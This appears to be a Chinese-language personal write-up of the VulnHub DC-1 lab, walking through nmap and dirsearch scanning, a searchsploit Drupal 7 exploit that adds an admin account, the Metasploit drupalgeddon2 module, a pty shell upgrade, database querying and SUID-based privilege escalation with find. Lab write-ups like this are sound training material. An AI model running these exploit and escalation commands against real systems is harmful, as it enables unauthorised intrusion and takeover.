记录自己打DC-1的过程,也算是自己的一个笔记吧。(写的有点乱佬轻点喷)打靶的思路和命令是参考大师傅红队笔记。
工具:kali2023
目录
靶机下载
官方地址 https://download.vulnhub.com/dc/DC-1.zip
环境的搭建
下载后dc-1导入VMwave中,个人比较喜欢用NAT模式(主要是可以方便在里面查资料......)
kali ip:192.168.234.152
一、信息收集阶段
1、使用nmap进行信息收集
nmap -sn 192.168.234.0/24
明显看到192.168.234.146为新增加的IP应该就是DC-1的靶机IP地址
二、常规的扫描
1.常规的端口扫描
sudo nmap -sV -O -p- --min-rate 10000 192.168.234.146 -oA nmapscan/ports
参数解释
-sV 探测目标对象开放的服务
-O 探测目标对象的操作系统
-p- 探测目标开放的所有端口
--min-rate 10000 以10000的速率进行扫描
-oA 将结果全格式的保存到ports中
可以看到开放的有22,80,111,49588 端口 一般来说80是主要的突破口22是次要的另外的那两个我也不是很清楚(还是了解的少)
2.漏洞的探测
sudo nmap --script=vuln -p22,80,111,49588 192.168.234.146 -oA nmapscan/vuln
这个扫描会有点慢................
扫描结束后好像也没有什么特别有用的信息,但是常规的扫描还是要继续进行的。
3.网站目录的扫描
(个人比较喜欢dirsearch这个比较快)
dirsearch -u http://192.168.234.146 -x300,301,302,304,303,400,401,402,403,404,500,501
这里由于命令太长写不下了就没有继续写下去dirsearch中的-x参数可以过滤无用的响应包我们需要的只是20开头的。(有时候不需要)
我们需要重点关注/user/login这个目录。
4.打开靶机的80端口地址
这里推荐大家下载一叫Wappalyzer的插件可以帮我们探测网站详细的内容,可以看到这个网站是Drupal的CMS(一般的cms都有漏洞可以利用)这样我们的目标就很清晰了查看drupal有什么漏洞可以利用。
5.drupal漏洞查找
sudo searchsploit drupal 7
我们不知道密码进不去网站的后台可以看到扫出来的漏洞有个admin增加py脚本,把这个脚本给保存下来。
sudo searchsploit drupal 7 -m 34992.py
vi打开这个py脚本看看里面的内容。
三、利用漏洞进行提权
可以看到给我们的利用方法
sudo python2 34992.py -t http://192.168.234.146 -u admin2 -p admin2
进入后台我们发现有个flag3
提示我们去看passwd和shadow(看到这我才发现忘记msfconsole这个工具getshell了)
use exploit/unix/webapp/drupal_drupalgeddon2 或者 use 1
show options
set rhosts 192.168.234.146
只要是在Required中为yes都是需要我们设置参数的 (Rhosts 是我们被攻击机的IP也就是dc-1的IP)。
芜湖~获得立足点开始提权!
进一步获得连接性更好的shell。
shell
python -c 'import pty;pty.spawn("/bin/bash")';
看见一个flag1.txt文件打开后提示 Every good CMS needs a config file - and so do you.我们去找默认的配置文件。
cd /sites/default
cat settings.php
flag2找到了提示我们提升root权限或者直接爆破 ,那就先连接一下看看。
连接数据库
然后就是简单查表
show databses; #查数据库
use drupaldb; #进入这个库
show tables; #查表
select * from users; #查这个表中的所有字段
有的时候就很邪门明明一样的命令就是一个报错一个可以正常执行(可能是我太倒霉了.......)
因为咱们第一步利用脚本获得了一个admin权限的用户,这里就不重复了(其实这里还有一种获得admin权限的方法可是我太懒了。)
继续接着flag3的提示 需要我们看passwd和shadow。
找到一个flag4 那就进到这个目录下
提示我们用find进行提权操作
find / -perm -4000 2>/dev/null
进一步确定使用find提权
这里给大家推荐一个提权网站 https://gtfobins.github.io/
进入root目录看到有最后一个flag
至此结束!